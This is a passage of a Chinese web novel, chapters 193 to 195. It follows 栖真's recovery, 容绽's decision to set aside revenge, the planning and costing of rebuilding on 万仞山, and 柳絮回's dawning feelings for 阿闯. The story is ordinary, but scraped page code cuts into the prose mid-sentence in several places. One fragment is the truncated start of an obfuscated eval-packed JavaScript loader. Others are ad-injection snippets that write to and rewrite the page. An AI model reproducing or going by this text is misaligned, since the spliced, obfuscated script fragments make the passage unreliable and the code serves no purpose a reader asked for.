聊了一个时辰,容绽便很有分寸地起身告辞。 一直在边上没插言的阿畅起身相送:“容宫主留在山上吧,山头废墟已经清理,空着不少大帐,可暂时栖身。” 说罢,亲自引容绽和阑珊回草甸峰,那边如今竖着十几顶大帐,比毡帐阔气多了,里面床铺桌椅一应俱全,容绽和阑珊尽可一人一帐。 如今袁博和万叶飞也从长风谷移住草甸峰上,阿畅引万叶飞和容绽认识,跟容绽说事涉营造的,尽可和万叶飞说,又让万叶飞把那些需要定夺的,大可先问过容绽。 容绽以为万叶飞只是大容王手下专管营造的官员,没什么特别表示,而万叶飞听阿畅称呼容绽“宫主”,就猜他应该是栖真这边的人。 虽好奇对方为何年纪轻轻已然皓首,但万叶飞什么三教九流、天仙鬼怪没见过,也没觉这模样损对方分毫俊雅,兼之这位宫主举手投足从容淡定,自然更多几分尊敬。 阿畅安排好一切回去长风谷,见栖真躺着发呆,于是变回原样,坐到床边问:“再见志同道合的伙伴,真真开心吗?” 栖真视线从木梁转到风宿恒身上,片刻才道:“阿绽居然就这样放下了,我都不敢相信。” 风宿恒想容绽有没放下还另说,你能放下最好了,便道:“大男人立于天地,哪能时时刻刻被情爱羁绊?再过几年容绽也至而立,总要寻得安身立命之道,成就一番功业,你允他这番心意便是帮他,如今机会摆在面前,他能舍弃过往向前看是好事,其他的,在他面前不必再提。” 栖真想了想,确是这理,能带小伙伴们冲事业,就是对他们最好的回报。 风宿恒见栖真点头,便道:“营造之事有万叶飞,山上的事有容绽,你好好养伤。以后定个时间,只允他们申时至酉时来见你,一个时辰把事讲明,你给个定夺,其他让他们去办。” 栖真啊一声:“就一个时辰?” “现在这些事一个时辰都讲不清,将来可能宫千丝万缕,难道你要没日没夜扑里面?既然有了下面人,就要会用人,如今没什么比你养伤更重要。” “他们不是下面人。”栖真斥道。 风宿恒正色道:“你是大容皇后,谁不是你下面人?” 栖真无语,半晌才弱弱反驳一句:“你就不是。” 风宿恒眼角漫过别有深意的笑,捏她脸颊:“我也可以是。” 见栖真大眼扑朔,不明其意,附耳道:“等你伤好,咱们再试试。” 193. 第 193 章 柳絮回是在容绽上山后的第五日回来的,同回的还有阿月和董未。马车一出永嘉往万仞山去,见了栖真两厢欢喜垂泪,各述别情。 柳絮回被他爹一顿好打,罚跪祠堂三日,听她居然还要走,直接将人赶出家门。柳絮回把这些事当笑话说给栖真听,说着说着停了口,问:“怎么了?” 栖真摇头:“太开心了。” 慕容烟月察言观色:“栖真是不是觉得我们不会回来了?” 董未道:“我们当然得回来,店在这里,家也在这里啊。” 栖真抿唇笑,眼尾有点红。 絮回坐床边拍拍她手:“小傻子,想什么呢。” 栖真吸溜鼻子:“都被你爹赶出来了,你才小傻子。” 柳絮回回头对阿月调侃:“看看这合伙人,没心没肺,我从没说过不回来,她倒好,给我盖棺定论了。” 大伙儿都笑。 他们又问栖真近况,言谈间自然提及大容王,摸不准如今风宿恒到底要把栖真怎样,只知不让她下山,栖真尽量避过这个话题,只说对万仞山未来的构想,听得絮回他们热血沸腾,觉得栖真不愧是栖真,不知怎么谈判的,居然借了风宿恒的势将盘面全数翻到自己这边。 柳絮回他们曾为九部相,即便失势,遇上能为大容百姓谋福祉的事总是心向往之,栖真道:“大方向就是这样,诸多细节,容我和阿绽好好想想。” 柳絮回心知为万仞山赚钱太重要,当下说起回万丈城考察的结果。 万丈城的菜价确实比辛丰便宜三分之一,但百姓收入颇丰,几乎赶超辛丰,若能将火锅店开去大容,维持原价都是一桩稳赚不赔的买卖。说着拿出计划书,详列三处门店优劣、内装预算、菜价表、供应商清单、用人薪酬,只说等栖真方便时看。 “阿絮的心都投在开店里了,回家一趟也不消停。”慕容烟月羡慕道:“真是被栖真教出来了。” 董未也羡慕:“栖真对医药也有真知灼见的话也教教我呢,我也聪敏好学,说不定将来也能像阿絮一样把医馆开到各地。” 他说这话有一份玩笑心,没想到栖真真应了一句:“好啊,我虽不懂中医,但爹爹确实钻研过不少医学常识,得空可以聊聊。” 董未惊喜非常,连连点头,又道:“看你气色还好,容我把个脉?” 栖真伸出手任他搭腕号脉,董未默了片刻,才问:“这些日子,还有哪里不舒服?” “除了骨折,也就腹上血瘀未退,经常肚子疼,一抽一抽的。” “能否容我过个眼?” 一直陪在旁边的阿畅起身道:“小姐伤在下腹,一直是药王谷女弟子帮她诊伤,只怕不方便。” 董未也不勉强,道:“那我问药王谷的人吧。” 他继续把脉,这次诊的时间更长,面色似有凝重,眉头微微蹙起。 栖真问:“如何?” 阿畅轻咳一声,董未瞥了他一眼,最后道:“有气血凝滞之像,我稍后看看药王谷开了什么药。” 不想栖真疲累,没说多久三人便即告辞,回山头时正逢容绽从大帐出来。 一打照面大家都惊了,慕容和董未还想问容绽,柳絮回已柳眉倒竖,直接问他身边的阑珊:“阿绽怎么了?你说!” 容绽请他们进帐坐,在阑珊开口前率先道:“你们回来,是把仇恨都放下了吗?” 董未道:“我们是为栖真回来,才不为那杀千刀的大容王!” 容绽清清冷冷道:“如今栖真被风宿恒掌控,我们和栖真共事,与为大容王做事有什么差别?” 他说得直白,帐中一时无人敢答。谁敢在容绽面前拍胸脯说,是,我就是不管亡国恨,我就是放下了? 容绽却在寂静中道:“我厌了。” 众人吃惊。 “放不下仇恨,可我厌了。”容绽眉宇间全是平静:“所谓复仇,就是杀风宿恒,夺回大容,然后呢?权柄掌在谁手,百姓关心吗?老百姓只关心谁能给他们带来更好的生活。江山易主,我们自信能比风宿恒做得更好?我们让仇恨蒙蔽双眼,只会给大容带来真正的灭顶之灾。如今的大容再非避世百年之地,它融入中土,成了中土的臂膀,命运和别国气息相关。我们杀风宿恒,就是和辛丰彻底决裂。届时辛丰铁蹄、百姓仇恨纷至沓来。我们又凭什么堪以抵挡?” “今日为了栖真,我愿把仇恨埋到心底。栖真以可能宫名义与当朝合作,是在为我们留有余地。可能宫是独立的,栖真是独立的,我们便也是独立的。给成果冠以可能宫之名,还是风宿恒之名,没有差别,因为最后还不是全数归于大容百姓?” “人生短短数十年,用剩下的年岁为百姓做点事,也不枉我们曾经享了民间多年供奉。昨日种种譬如昨日死,一夜白头想明白这些,往后心平气和做事,是非功过,就留待后人评说吧。” 听容绽缓缓道出这些,明显是深思熟虑过的,三人面面相觑,最后还是柳絮回激动道:“阿绽,我们随你!你放下我们也放下,你想做的事也是我们想做的。”视线锁在容绽清俊的面容上,他今年也才二十五,风华正茂的年纪,却皓首眼盲,活得无限心伤。如今他心中释然,有了安身立命之志,着实难能可贵。 柳絮回心下无限唏嘘。 慕容带小宝儿留在山上,董未和柳絮回是日下山,赶回郢业。 董未之前在医馆告了假,自要回去继续坐堂。而柳絮回心有所系,去鸳鸯蝴蝶梦和三打白骨精巡视一圈,两家店有许子鉴坐镇,都没什么问题。 许先生见东家回来,想呈上账目,柳絮回却收了账本笑道:“有先生在没什么不放心,灵姐怎样了?” 许子鉴道:“还在养伤,快好了。” 白丁、阿岳、小花子和小木匠早被下山的父母接走,祁南英一家下山后也住回自家,其他人不方便再借住。许子鉴做主,把子石藏进白骨精的仓室,在附近找了个客栈让一行人暂住。 栾乐栾音和焘兴洪柱各一间,钟情一间,阿闯因为要养伤,给他单独一间。 柳絮回让马车停在客栈门口,她既然回来总要住上几天,把手里的事整一整,于是也开了房,让小二帮忙把车上东西搬进去,又问明几人房号,带着礼物去找孩子们。 三个孩子在客栈待着无聊,天天问何时回山,今日见着柳絮回,吃着从大容带回的糖果和果脯都兴高采烈,连声央她让他们回山。 柳絮回道:“如今你们栖宫主还在养伤,容宫主要忙重建的事,都顾不上,你们还是在这里再待一待吧。” 哥哥栾音道:“山上的事阿月都跟我们说了,我们都不是小孩儿了,不会给两位宫主添麻烦。” 弟弟栾乐道:“我们想回家,我们家在山上啊。” 柳絮回拍拍栾乐脑袋:“如今山上没房住,你们在客栈住着,比山上舒坦。” 钟情道:“我们可以住帐子,之前住了那么久的。” 栾音和栾乐窃笑,小孩子都喜欢住毡帐,比住房子有趣多了。 见小的们坚持,柳絮回便让他们再等几日,下次她回去顺便带他们一起回,三个小的这才满意。柳絮回又问了几句功课上的事便走出屋去。 焘兴和洪柱在山上受了轻伤,养几天便好了,柳絮回在走廊上见着他们时多问了一句,阿闯伤养得怎样了? 焘兴道:“小姐去看看他吧,这个疯子,天天三更半夜看书呢。” 待别了两人,柳絮回提着包裹在走廊上踌躇了一会儿,还是决定去敲阿闯的门。 门内一个声音道,进来。 走进去见小小一间房,人靠在床上没迎出来,柳絮回便在门口叫了一声,阿闯。 床上人以为来的是店小二,没在意,一听这声惊喜非常,便要起床,牵动背上的伤,痛得嘶了一声。 柳絮回两步到床头,正想让他别乱动,见阿闯肩头披着件褂子,里面什么都没穿,袒露着胸膛,裹着纱布。 柳絮回双颊绯红,东西桌上一放就要出去,却被阿闯拉住,被他一句“别走”阻了脚步。 “把衣服穿好!”柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿闯终于坐下了,把拐杖放在一边:“小姐,你去了好久,你回来我们都很高兴。” “嗯。”柳絮回眼皮一垂,视线从他瘦下来的脸上移开,定在桌上。 她不看他的时候,阿闯的视线就放肆多了,黏在柳絮回脸上,一点不想移开。 “我已经养了二十七天伤,大夫说还有半个月就可以拆夹板,所以总共旷工一个半月,我会跟许掌柜说的,这一个半月的工钱不用算我了。” 柳絮回没想到他跑来一本正经跟她说工钱,气不打一处来:“你们为了保护栖真受伤,我还没发抚恤银,你倒先来跟我说工钱。你跟银子有仇吗?给你的都不要?” “小姐别这么说。”阿闯道:“没保护好宫主,我心里有愧。原本我是想这事办砸了,实在没脸再在您手下待,该自己主动走的,可想着小姐还没回来,这才等了一天又一天,今日见到了您,我想……” 柳絮回拍桌子:“想什么?辞呈吗?” 阿闯没想到柳絮回会动气,居然拍桌子,吞咽一下道:“我们上山时您一再叮嘱,一定要我们护好宫主安全,结果变成这样,我一早就说,小姐交代的活没干好我自己走,绝不让您为难。” “还挺硬气啊。”柳絮回哼了一声:“你成全了自个儿一言九鼎走得潇洒的好名声,却陷我于不义,栖真的事你们尽力了,自己也挂了彩,结果我这做东家的一转头把你扫地出门,你让店里的伙计怎么看我?” 阿闯道:“我会跟他们说,绝不让他们嚼舌头。” 柳絮回被他气笑:“你来表示歉意,便将这话收回,我没有怪你的意思,可你真心想走,说一句想走便是,不用找诸多借口。” 阿闯垂头:“别生气,我不说了。” 其实他是想来谢谢柳絮回给他带的一包书,她说是大容特产,还叫他别看那么多书,可她偏偏给他带回一包书,他不信她给其他人也带了这些。 也想问问她回大容怎么样,有没有见到爹娘,她回辛丰,他们是不是很舍不得? 还想问一问宫主近况,伤养得如何了?最近都没人给他们传山上消息。 但现下看柳絮回像真生气,阿闯什么都不敢说了,他好像又说错话,总不能让小姐刚回来就气着啊。 两人静默坐一会儿,阿闯低声道:“长途疲累,小姐好好休息。”驻起拐杖出去了。 194. 第 194 章 颜心和聂灵鸢回山时,还引起栖真和风宿恒间一次“小小”的争论。 聂灵鸢原本不至于被人打得这么惨,即便山上不能用法术,她至少会武,暴动时撩开不少人,但那场面太残暴,阿闯被人拖走暴打后,她接力般扑在栖真身上,武功再无用武之地,硬生生挨了不少揍。 而颜心护住栖真脑袋,结果自己脑袋被打开花。 她们给栖真看的是痊愈后的样子,可那时她们用身体为她挡灾的触感栖真还历历在目,当面道谢仍觉不够。 聂灵鸢却道:“是我们没将主母护好,受点惩罚也是应该。” 栖真开始以为她说的惩罚是指“被打”,后来才明白聂灵鸢说的是“不治”。 这事栖真确实没想到,晚上问风宿恒:“山上用不了疗愈术,我不得不养伤也就罢了,聂灵鸢和颜心下山就能得到法术治疗,你怎么不给她们治一治呢?” 风宿恒脱着外袍,回首一句:“我给她们治?” 栖真:“于你不是举手之劳?况且灵鸢也会法术,她也可以给自己治啊,可她说这是她们应得的惩戒,不能治,什么逻辑?” 风宿恒洗漱完出来,从万叶飞做的轻便轮椅上抱起栖真放床上,轻嗅一口:“好香,颜心帮你洗过了?” 夹板都除了,断骨还覆着药,包着厚厚的绷带,但比之前好太多,栖真躺好道:“问你呢。” “头发留给我洗。”风宿恒抽了簪子,把她长发顺下,叹气道:“真真总忘记榻边人好歹是个王,这还要解释吗?” 栖真看他半晌,闷闷不乐道:“不用了。” 风宿恒无非想说,他给她的是VIP服务,可不代表这服务可以给所有人,即便是举手之劳。 因为他是王。 他无非想说,颜心和聂灵鸢没护好她是渎职,所以他给的惩罚就是不用疗愈术,让她们自个儿养伤。 可想想,那会儿风宿恒如果把她们治好了,这两个多月还需他“贴身伺候”吗?她还要受那份被他摆弄的罪吗?这人特么故意的吧? “你们那里崇尚人人平等,但在大容,只有关起门来我和你平等,出了这扇门,谁都是你的臣。驭下之道无非赏罚分明,不能只有赏,没有罚。”风宿恒道:“这样才能君权永固,纲常不乱。” 世界观和价值观很难因爱情而并轨,栖真很早就意识到这点,嘀咕道:“万恶的封建社会。” “说什么呢?”风宿恒捏捏她脸,好歹养回来些,捏着有了点舒适的手感。 栖真道:“去神明大宫一路,我看你和阿绽把食物让给别人,还觉得你们特别绅士。” “绅士?” “就是很有风度,很会照顾人。” “我随容绽,他怎么行事,‘容聘’就怎么行事。”风宿恒嗤笑。 “所以容绽是真绅士,你……” “我是真强盗。” 栖真…… “可你就嫁了个强盗。”风宿恒亲她,强盗式的亲法:“认命吧。” ………… 十一月的万仞山像回归季。 被家里关起来的英迈带着成校逃出来,回到山上,十日后则是山遥从璞丽一路赶回来。 山遥上山第一个见的是容绽,入账半晌说不出话,阑珊因为解释过太多次,再讲一遍异常流利。山遥最后对容绽道:“我回万丈城和二殿下见了一面,他说既然等不回您,他有事先走,以后再来看望。” 面前是堆成小山的案牍,近日里容绽让人把民间私塾用书都搜罗来,听阑珊读,他伏案记。此刻搁笔,静静听山遥说完道:“以后不用再叫我和容聘殿下,称名即可。你想留在山上,该和栖真道个歉,看她留不留你。” 山遥选择回来,自然早就想通,自去栖真面前负荆请罪。聂灵鸢和颜心当日亲眼见他倒戈相向,对他没好脸色,最后还是靠在护理床上晒太阳的栖真道:“山遥,你想留下可以,但你得把真实的想法说出来。” 山遥低着头:“生死关头,你宁愿用自己交换我们所有人,我才确认我错得离谱。” “一份善意,一定要经过生死考验才能取信于人吗?真心付出从来不是错,被辜负还能付出真心更不是错。”栖真道:“以后没人会再迫害你们,你们安全了。山遥,希望和你一起回来的,还有你的心。” 山遥听懂了:“栖真,谢谢,还有……对不起。” 看着山遥离开的背影,颜心并不心平:“主母就这样原谅他?一句对不去,就把伤害彻底抹杀?” 栖真道:“不是因为他说对不起,而是因为他想走出来。” 颜心和聂灵鸢对视一眼,看向又闭眼假寐的栖真。 她们当然不知道她在阅读,她们只是觉得经过这次事情,栖真变了很多。 过去为救风宿恒她变得说一不二、勇敢果断,这次回山她们发现栖真又起变化。 早就领教过她的博学和智慧、坚毅和可靠,可现在她整个人平和下来,静水流深,莹莹光华,自有笃定从容之态。 让人想不明白的是,人到知命之年,千帆尽过沧海桑田,兴许会呈现这种状态,而栖真刚刚受了非人的暴力,断骨都没好呢,为何在她身上看不到怨怒悔躁,已然呈现这种状态了? 颜心和聂灵鸢跟随栖真时间越长,心里的疑问和感慨就越深。 至此,除了典叔告老还乡,阿陶托山遥转交一封给栖真的致歉信决定离开外,其他人全数回山。 ………… 栖真说既然有三峰溪,有长风谷,大家住了那么久的高山草甸也得起个名。草甸峰没特色,一拍脑袋,重新起名叫开物顶。 容绽问,开悟的悟吗? 栖真笑,不,物体的物。 开物,通晓万物之理也,先开物,再开悟。 柳絮回管一大家子吃喝拉撒整整五年,如今想把精力集中在生意上,主动将山头林林总总交给聂灵,而灵姐用实际行动证明了她不仅有能力执掌中馈,对栖真更是忠心耿耿,柳絮回很放心。 明面上,聂灵鸢每日忙着为自家人收物收粮,管着膳食,分配物资,照顾山头,实际山上六百个工匠的吃喝拉撒背后都她在统筹,所有建造可能宫的开销也全在她一本账上。 是的,六百个工匠! 大容王大手笔,从倪煌手下抽调六百个工匠,一半人造开物顶,一半人造长风谷,同时动工,务必要在开春前完工。 整个山头从水源改造到管道铺排,全是栖真和万叶飞及善巧司六位老司股开了一次又一次会定下的,而山头和山谷两处设计图,则是栖真和容绽讨论了无数次才让万叶飞画出来,交由善巧司转为建造图。 他们想明白了每一幢建筑的功能,想明白了使用场景,想明白了万仞山未来呈现的样貌,才开始动工。而所有设想的落地,最终都转成流水式的真金白银,从聂灵鸢账上出。 上次造花千树还不至于动用麒麟穴,这一次不得不用。 栖真问聂灵鸢,麒麟穴到底有多少钱? 聂灵鸢说了个数。 栖真瞠目结舌,半晌缓过神,问万仞山整个工程估下来要多少银子? 聂灵鸢说宫主你知道的,同样是造,用金丝楠木还是普通松木,所费千差万别,大批建材从大容购还是辛丰购,还是直接山上采,也是大不同。 栖真道,用什么金丝楠木?最高规格不得超过杉木,让聂灵鸢估一个成本的上下限。聂灵鸢为着这句话,让袁博发布了一长串命令下山,埋首各种收集上来的片语,熬了五夜,将结果报于栖真。 全数省着来,九百六十万两;放开造,五千八百万两。 栖真让颜心帮她圈了图纸上好几处,跟聂灵鸢说这些建筑用好料;又让颜心帮忙翻页,看完整本厚厚的材料账目,用朱砂划出许多细项,说这些地方普通的就行。 重新再估,总价三千万两。 聂灵鸢在栖真拍板后,悄悄把账目和图纸给风宿恒过目:“往好里造的都是课室和别人住处,偷工减料的都是宫主自己住所。” 风宿恒摇头,无奈又好笑:“找个折中,好的往下省省,她的往上抬抬,压在三千万两以内吧。” 栖真还在养伤,可有些事一旦开始做开弓没有回头箭。什么只得一个时辰见万叶飞和容绽,那是根本不可能的。长风破浪每日人头攒动,栖真坐着轮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 椅,由颜心代笔,一个个会开,一项项讨论,从早到晚没有停歇。 风宿恒不乐意,但陪了两日,被议事中的栖真给迷住了。 她坐在上首,一开始给大家讲想法和诉求,语速不快,确保在场众人都能听明白。她对房子式样没太多要求,什么雕花装饰都不要,简洁即可,但注重安全,防蚁防震防风一个不能少,且在散热和供暖上提了务必达成的几点。后期则以听为主,乌黑的眸子看着说话人,听得很认真,亦或微微垂睫思考。没听明白的地方会礼貌打断,恳请对方解释,或问到明白为止。所以在她面前,语焉不详和模棱两可没有生存余地。 一开始有老司股耐着性子回话,几次来回后被问出些他们自己都没想到的地方,还有估错的工期和顺序,室内的气氛就越发向栖真倾斜。司股们态度的转变直接体现在对栖真的赞扬上,可任好话贴耳都牵不动她的情绪,议事中的栖真有些疏离,总像隔了一层,以一种不近人情的姿态独立思考,有事说事,将议事节奏稳步推进。 结束前,她必会做一番总结,给有结论的事再一次确认,给需要再议的事一个后续章程。颜心下笔速度都跟不上她的思路,一日后阿畅索性自动请缨来当书记。 风宿恒有时会思绪游离,想起雷恒的话:栖真在现代有身份、有地位,每日多少人找她请示,多少生意伙伴找她谈事。她独立又自律,孤身一人,把公司管得井井有条。 在现代,栖真每日和易郄、窦诗、蒙幻他们开会,也是这个样子? 如孤身的鹤,如冷睿的雁,一坐下就是会上的定海神针。纵使偶一莞尔,惹的也是一室心动。 风宿恒根本管不住自己的心,对着这样的栖真,他心都不在自己胸腔里。 ………… 万仞山的气候很任性。 十月还承着夏日的闷热,一入十一月,几场风一刮,就跳水似地降温。到了月底已然冬日气象,不披披风都出不了门。 柳絮回找了个十二月初的节令,带着赵四、白三、莫生三家人、栾氏兄弟和钟情,以及阿闯、焘兴和洪柱回到山头,摆了三大桌。 也算应着栖真意思,给药王谷的素青践行,感谢她们此次来谷中仗义相助。 这日趁着午时日头好,宴席摆在长风谷。为着这顿家宴,谷中工地暂歇。栖真邀万叶飞同席,给大家郑重介绍他在工造上的惊才绝艳,最后委婉点了一下万叶飞与她的交情。 大家都知道山上有位美到人神共愤的“总工头”,那是看一眼就不可能忘却的神颜,但不知他还是栖真旧识。 只要栖真开口,众人就不把他看做大容王那边的人,推杯换盏间,就转成了自己人。 如今山上氛围也挺奇怪,明明大容王本人甚少出现,但山上还是自然形成一种两分对立。比如袁博和那些守兵就是大容王那边的人,其他人则是栖真这边的“自己人”。纵使“那边的人”很客气,不仅造房子,供吃供喝,但大家还是以之为敌,亲近不起来。 慕容烟月把小宝儿抱在膝上道:“下山前栖真让我带骨头锅,我还说一定给你带肉最多的,你看今日这大棒骨还满意?” 柳絮回给锅加了两夹炭,让火烧旺些,坐下道:“过去我们卖的是郢业张老六铺子里的大棒骨,如今张老六为我们做事,直接去付春大草原上购牛羊,不膻不腥,特地道。” 栖真手指上的绷带刚拆,指头浮肿,弯不利索,颜心在一边帮她拆骨上的肉,切细小了,让她用勺子舀着吃。 大伙儿见她手不好使,心下恻然,席面上气氛就越发热络。 这一顿用完,大家就奔着新生活去了。席上商量一番,除颜心和阿畅还住在长风谷里陪栖真,其他人全住到开物顶的帐子里,又不少人劝栖真休息两日,把伤养好才是真。 栖真笑着应了,吃完席回房,刚净过手,便听有人敲门。 颜心出去应对,随手把门关上。 主子最近疲累,颜心都看在眼里,好不容易休一日,这些人还一个个来,有没有眼力见? 门外飘入几句男声,栖真在里面听着,开口道:“进来吧。” 颜心这才不情不愿把人放进屋。 195. 第 195 章 阿闯在门口恭敬行礼:“宫主安好,小的可否占用些宫主时间,说点事。” 栖真自是邀他桌边坐,让颜心看茶。 阿闯道了声谢,等颜心出去后道:“听阿絮小姐说宫主这些日子受累了,我本不该前来打扰,但小的回山少,不得已劳烦宫主。” 栖真微笑:“无妨,有话尽管说。” 阿闯像是要说很重要的话,抿了抿唇,有些紧张,但他身上早没了过去的局促之态,背脊挺直,坚定开口。 柳絮回吃完家宴想和阿月一起回开物顶,明日要下山,今日她还要在山头住一晚。 她不常在山上,但还是有自己帐子的,只要回来就有地方住,可一回头便见阿闯去敲栖真的门,柳絮回皱了下眉,索性让阿月带小宝儿先走。 她回到桌旁,和白三莫生家的闲唠,看着她们收拾桌面,眼睛却不时瞟向木屋。 阿闯一直没出来。 柳絮回想,我在这里做什么呀?我等他干什么呀? 独自回开物顶时她还有些不高兴——阿闯是她下面人,什么事不来找她,去和栖真说? 柳絮回回帐后继续做第五家店的方案。山遥回来,帮她分了供应商的担,她才能喘口气,继续拓店的事。在大容开店是栖真早就点头的,说方案可行,但是否现在拓有待商榷。因为人精力有限,即便走永嘉,从郢业到万丈城一次往返都要十一、二日,现在这节骨眼上靠柳絮回一人两头兼顾明显不现实,真去大容开店,必须在现有班底上抽出一组人马跟她常驻大容才行。 柳絮回想,如今郢业两家店都聘到了好掌柜,做满一年,通过考核就能拿股。所以这两家店无论生意还是管理都趋于稳定。而英迈、山遥和许先生已去郢业以西的罗涛城,筹开鸳鸯梦和白骨精的分店。 再之后是郢业以南的仰光。 拿下郢业、罗涛和仰光三座大城,就是拿下了辛丰东大三角,再之后就能进军中部的乾都。 而她可以带着阿闯、焘兴和洪柱回大容。 这三人聪明、勤恳,早已不是吴下阿蒙。从小二做起,到领班,到管店都一一经历。内装、供应商、培训也一直在跟学,积累了经验。 纵使大容和辛丰民情不同,要做很多调整,但大容毕竟是她故土,有他们三人相助,她觉得没大问题。 况且,阿闯说没去过万丈城,她还挺想带他去看看的。 想到这里,柳絮回停笔,有些愣神,听帐外响起熟悉的声音,是阿闯回来了,在和焘兴搭话。 都一个时辰了…… 柳絮回想专注手上事,可写了几个字就彻底搁笔出帐去。 栾音、栾乐和白丁在玩老鹰捉小鸡,容绽在帐前和万叶飞说话,阿月扶着小宝儿在学走路……远处,工匠们来来回回在埋管道。 有的帐子,却帷幕紧闭。 柳絮回站了一会儿,转身回帐,将账册和方案拿在手里往长风谷去。 颜心在楼梯下守着,柳絮回让她通报一声,便见阿畅从屋中出来,对她额首便自离去。 柳絮回进屋,见栖真靠在床头,下身盖着被,面上略有倦容,但唇色娇艳欲滴,像刚被热水润过。 柳絮回在桌边坐:“难得清净一日,又要来打扰你,想着明日要下山,有些事还得跟你说。” 栖真:“你不来找我,我也找你的。” 柳絮回伸向账册的手缩回来:“你先说。” 栖真拍了拍床:“来。” 柳絮回坐到床边,自然而然捞起栖真的手,总觉得帮忙揉一揉,能让手指尽早消肿。 栖真任她轻揉,眼里有温和的笑意:“阿絮,咱们是好姐妹,你的事就是我的事,如今这火锅店你也开得得心应手了,我想问问,你今后有什么打算吗?” 打算? 哪方面的打算? 柳絮回:“五年里,把鸳鸯白骨精开遍辛丰和大容。” “上次还问你是想两头兼顾呢,还是想常驻大容,目下有定论了?” “许先生带着山遥和英迈在辛丰,我带着阿闯焘兴和洪柱回大容。” 栖真沉吟:“你想带阿闯回去?这想法,没跟他们说过吧?” “当然先跟你商量。” “你要用什么人,大可自己做主,但是阿闯……” 柳絮回心中一紧:“阿闯怎么了?” “适才阿闯来找我,说了很多。” 柳絮回垂眼,轻声问:“他说什么了?” 栖真微笑:“他说,他想离开。” 柳絮回瞬间抬眸,瞳孔微缩,满目吃惊:“离开?他要走?他对现下不满意?” 栖真摊手:“听起来去意已决。” 柳絮回唰地起身,神色失常:“我去问问他,他怎么真要走呢?” 说着就要跑出去。 衣袖被拉住,栖真手指还不太能弯,这一用力,酸痛地嘶了一声:“等等。” 让柳絮回坐下,栖真缓了缓疼,道:“挽留也没用,他说得很明白,他不会改变主意。” 柳絮回怒火攻心:“他好歹叫我一声小姐,我好歹是他东家,他要走,都不来跟我说一声?况且我从没亏待过他,说走就走,没良心!” 栖真嗯了一声:“他有没有良心我不知道,可阿闯就是一个伙计,伙计嘛,要走不是很正常?急什么呢?每个伙计走你都要哭一场?” “我没哭,我哪里哭啦?”柳絮回梗着脖子:“我就是不知道我哪里没做好!” 栖真笑了:“你怎么知道他走是因为你?阿闯说他就是爱上一个姑娘,那姑娘也是个东家,他想守着人家,所以想去她麾下做事。” 柳絮回整个人都僵住了。 栖真叹了口气:“阿闯是能干,但架不住人家有心上人,他要为心上人奋斗,我们也不能棒打鸳鸯,你说是吧?” 他有心上人?! 他每天忙成这样,居然还有时间找心上人? 他那么喜欢那个姑娘,喜欢到非要去她身边效力?喜欢到他说过“定不负阿絮所托”的话都不作数了? 柳絮回脸色惨淡,终是点了点头:“好,我知道了,我……我先走。” 栖真侧头问:“你不是找我有事吗?阿闯说完了,说说你的事吧。” 柳絮回站着愣了半天:“我没事,我忘了,我回去想想。” 栖真噗嗤笑出声:“给我坐下。” 柳絮回像牵线木偶一样又坐下。 “我手不太好使,没法拿帕子。”栖真温声道:“好絮回,擦擦眼泪吧,真是魂儿都丢了。” 柳絮回垂眸,一串泪珠潸然落下,赶忙擦去,死不承认:“我没哭,我就是……就是……” “就是伤心?嫉妒?舍不得?” 柳絮回像被戳中死穴,忽然就不行了,带出哭腔:“栖真,我不想让阿闯走!你教教我吧,有什么办法可以让他不走?” 栖真促狭道:“啊呀就一个伙计,做什么这样?走一个再培养一个不就好了。” “不是的,他不只是伙计!”柳絮回狠狠反驳。 此时此刻,“伙计”两字如此刺耳,她不想听。 栖真哦一声:“不是伙计,那是什么?” 柳絮回骤然接口:“是……” 是什么? 阿闯对她来说,是什么? 当栖真把这个问题扔过来,柳絮回心头瞬间就亮堂了,她忽然明白过来,阿闯对她意味着什么了。 柳絮回一时什么话都说不出来。 栖真安慰般轻抚她的肩:“阿絮,去找阿闯聊一聊吧,兴许聊过后就能回答这个问题了。” 柳絮回失魂落魄地走了。 她没回开物顶,而是到三峰溪边,看着溪水潺潺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 流淌。秋日的溪流很清冷,岸边寒气逼人,可她的心又烫又沸。 她想起了容绽。 曾经她的心思全拴在容绽身上,他的一颦一笑都让她心绪起伏,辗转难眠,可从什么时候开始,她的眼睛不再追逐他的身影了呢?从什么时候起,她开始关注另一个男人? 这男人表面是一汪水,对谁都照顾有加,除了在她面前总显得笨拙,对着旁人,他会说话,会做事,更会做人,店里没人不喜欢他。 可在人后,他却像一团火,拼命燃烧,不把自己逼到极致不罢休。 他每天睡多少时辰她最清楚,他看了多少书她看得出来,他的谈吐和思想在这一年里有多少变化她最有体会。 可柳絮回知道,这远远不是他的极限。 阿闯和容绽同龄,可这两人给人的感觉太不同了。容绽是高挂天际的月,清辉而孤冷;阿闯是随处可见的草,繁荣而茂盛。 乍看天壤之别,实则都是狠人。 对自己狠的人,都没有极限的。 如今柳絮回知道了,原来他这般拼命生长,是因为他心中有艳阳,他要奔着他的太阳去。 所以每晚豆灯,在院落里一面看书一面喂蚊,他心里有盼头,很幸福的吧? 他说要去守着心上人,去效犬马之劳,而他之所以能去,是因为他心上人也接受了他的爱意。 人家两情相悦…… 行吧…… 柳絮回擦了擦脸,人家两情相悦,关她什么事? 好歹相识一场,她该去找阿闯聊一聊,他要辞呈,也该当面和她说清。 站得久了,周围暮色四合,柳絮回想过桥回山顶,对岸传来一个叫她的高声:“小姐!” 柳絮回在桥上停步,见高高大大的身影几步来到近前。 “过晚膳时间了,没见着你人,下来找你。” 这身影适才还在她心中徘徊,现在真真实实站在面前,柳絮回垂首:“过了吗?快回去吧。” 可是跟着人过了桥,又改变主意,她不想粉饰太平,不想装作什么都没发生,在背后叫住他:“阿闯,你想离开?” 阿闯转身。 他们站得比平时近很多,他的身影把她彻底拢住了。 阿闯眼底浮起一团希望,背在身后的手指紧张地搅紧:“宫主说了?” 柳絮回挺直腰背,像个勇敢的将军,径直对上他的眼:“为何不直接跟我说?你的东家是我。” 阿闯眼中有千言万语,溪边光线暗,他才敢让压抑不住的深情从眸里透出来:“现在的我,没资格跟您说。” 